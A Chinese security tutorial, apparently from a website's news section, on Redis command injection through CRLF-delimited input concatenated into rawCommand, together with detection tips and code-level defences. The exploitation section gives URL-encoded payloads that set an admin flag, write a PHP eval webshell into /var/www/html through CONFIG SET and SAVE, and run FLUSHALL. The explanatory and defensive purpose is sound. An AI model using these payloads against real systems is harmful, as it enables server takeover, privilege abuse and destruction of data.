恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案

  • 首页
  • 资讯中心
  • /
  • 第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案

相关资讯

Pixel2Motion是什么?AI logo动效开源技能全解:从像素logo到SVG动画的完整指南 2026/10/5 13:06:06
描述文件移除之后,设备为什么还在管理域里 2026/10/5 13:06:06
Improving Contextual ASR via Multi-grained Fusion with Large Language Models 2026/10/5 13:06:06

最新资讯

为什么AI编程代理需要“代码地图“?3个真实场景带你快速上手ripwire
Vista.js 部署终极指南:一条命令上线 Vercel、Cloudflare、Netlify 等 5 大平台
系统设计面试复习清单:Awesome Architecture 31张架构地图,背下这14段就够了
Visual Enhancer:一键让模糊照片视频变清晰,升分辨率、插帧、转HDR,一键搞定素材修复
一个专门适配SurvX的编辑器
OptiScaler 教程:在游戏里把 DLSS 换成 FSR、XeSS,还能补上帧生成

今日推荐

第26课:OpenClaw|日志审计与问题诊断:把日志链路改到 TaoToken 的排查清单
YOLOv5 OBB旋转框训练实战:从DOTA数据准备到调参避坑全流程
Zeron 终端、Worktree 与 Diff 面板:像 IDE 一样查看并驱动你的代码变更

本周热门

MR25H40CDF + PIC18F65K40:工业记录仪高可靠存储实战
基于STM32的数控恒压恒流电源设计:从硬件到PID调参全解析
LT9211 MIPI重定时器原理与双路扇出实战指南

本月精选

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案

发布时间:2026/10/5 13:11:06
第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案 摘要Redis 命令注入一般出现在应用直接拼接用户可控参数构造 Redis 命令的场景攻击者可以注入恶意 Redis 指令读写缓存、修改持久化配置严重时可配合写入文件拿下服务器权限。本文讲解漏洞成因、实战场景、Payload 示例以及完整防御方案。前言提到 Redis 安全大家最熟悉未授权访问、主从复制 RCE很容易忽略Redis 命令注入。 这类漏洞根源不在 Redis 本身而是后端代码直接把前端传入的用户参数不加过滤拼接进 Redis 命令直接交给 Redis 执行。 攻击者可以截断原有 Redis 语句追加任意 Redis 指令实现数据篡改、文件写入在特定条件下甚至拿到服务器权限。一、漏洞产生原理正常业务伪代码示例危险写法// 用户输入 $name $_GET[name]; $cmd SET user_name . $name; $redis-rawCommand($cmd);如果后端使用rawCommand原生执行命令直接拼接用户可控输入没有转义特殊分隔符攻击者传入带换行符的 payload就可以切断原有命令新增多条 Redis 指令。Redis 协议使用\r\n作为命令分隔符%0d%0a是 URL 编码后的\r\n这就是注入的核心。区分未授权访问攻击者直连 Redis 服务不需要应用参与Redis 命令注入通过 Web 应用作为媒介利用代码漏洞向 Redis 注入指令攻击者无法直接连接 Redis二、漏洞利用场景与 Payload场景 1写入恶意数据、覆盖缓存传入 payloadtest%0d%0aSET admin_is_admin 1%0d%0a拼接后执行的 Redis 命令变成SET user_name test SET admin_is_admin 1攻击者直接修改缓存里管理员标识实现越权登录。场景 2配合持久化写入 Webshell条件苛刻前提Redis 有写入网站目录权限知道网站物理路径。 Payload 示例 URL 编码aaa%0d%0aCONFIG SET dir /var/www/html%0d%0aCONFIG SET dbfilename shell.php%0d%0aSET shell ?php eval($_POST[cmd]);?%0d%0aSAVE%0d%0a拼接后多条指令依次执行将一句话木马保存到网站目录。场景 3清空 Redis 全部数据xxx%0d%0aFLUSHALL%0d%0a业务缓存全部清空网站业务崩溃。三、漏洞检测思路找到传入参数可控的接口尝试传入%0d%0a观察是否触发多条命令执行尝试注入简单命令例如%0d%0aKEYS *%0d%0a看是否返回 key 列表代码审计重点查找rawCommand、eval原生命令执行是否直接拼接外部输入。注意使用 SDK 封装好的set()、get()方法一般不会存在注入。 危险点rawCommand、自行组装 Redis 协议原始命令。四、修复与防御方案禁止拼接用户输入构造原生 Redis 命令优先使用 SDK 封装好的方法参数作为函数参数传入由 SDK 自动处理转义不要手动拼接字符串。 ✅安全写法PHP 示例$redis-set(user_name, $name);严格过滤输入 如果必须使用 rawCommand对用户输入过滤\r、\n、换行等控制字符。Redis 最小权限原则禁止 Redis 以 root 运行限制 RDB/AOF 写入目录禁止写入网站根目录重命名高危命令CONFIG、SAVE、FLUSHALL等。网络层面防护 Redis 内网部署不暴露公网设置密码。输入输出校验 对业务参数做白名单校验限制参数长度、字符类型只允许业务所需字符。五、易混淆知识点总结Redis 命令注入属于应用层代码漏洞不是 Redis 服务本身漏洞注入核心是\r\n换行分隔符Redis 协议用换行分割多条命令主流语言 Redis 客户端Java Jedis、PHP redis 扩展调用封装 API 天然防御只有手写原始命令才会踩坑。总结Redis 命令注入相比未授权访问利用门槛更高但是在代码审计和渗透测试中经常出现。开发人员不要手动拼接 Redis 原始命令尽量使用 SDK 封装 API就能从根源杜绝该漏洞。安全防护需要兼顾服务本身安全 业务代码安全。免责声明本文仅用于网络安全学习研究未经授权的渗透测试属于违法行为。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号